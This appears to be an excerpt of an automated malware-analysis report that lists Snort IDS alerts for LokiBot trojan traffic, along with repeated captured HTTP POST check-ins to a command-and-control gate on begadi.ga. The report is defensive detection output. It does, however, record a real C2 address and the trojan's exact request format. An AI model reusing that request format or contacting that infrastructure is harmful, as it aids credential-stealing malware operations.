Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49225 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49225 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49225 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49225 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49225
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49226 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49226 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49226 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49226 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49226 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49226
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49227 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49227 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49227 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49227 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49227 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49227
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49228 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49228 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49228 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49228 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49228 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49228
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49229 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49229 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49229 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49229 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49229 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49229
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49230 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49230 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49230 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49230 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49230 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49230
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49231 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49231 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49231 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49231 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49231 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49231
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49232 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49232 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49232 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49232 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49232 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49232
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49233 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49233 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49233 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49233 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49233 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49233
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49234 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49234 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49234 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49234 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49234 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49234
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49235 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49235 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49235 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49235 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49235 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49235
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49236 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49236 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49236 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49236 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49236 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49236
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49237 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49237 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49237 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49237 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49237 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49237
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49238 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49238 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49238 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49238 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49238 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49238
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49239 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49239 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49239 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49239 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49239 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49239
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49240 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49240 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49240 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49240 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49240 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49240
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49241 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49241 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49241 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49241 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49241 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49241
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49242 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49242 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49242 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49242 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49242 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49242
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49243 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49243 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49243 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49243 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49243 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49243
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49244 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49244 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49244 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49244 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49244 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49244
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49245 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49245 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49245 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49245 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49245 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49245
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49246 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49246 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49246 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49246 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49246 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49246
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49247 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49247 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49247 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49247 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49247 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49247
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49248 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49248 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49248 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49248 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49248 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49248
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49249 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49249 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49249 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49249 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49249 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49249
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49250 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49250 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49250 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49250 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2017930 ET TROJAN Trojan Generic - POST To gate.php with no referer 192.168.2.22:49250 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.193.143.118:80 -> 192.168.2.22:49250
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49251 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49251 -> 185.193.143.118:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49251 -> 185.193.143.118:80

Found C&C like URL pattern

Show sources

Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 176Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 176Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /chud/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: begadi.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: B39EF212Content-Length: 149Connection: close
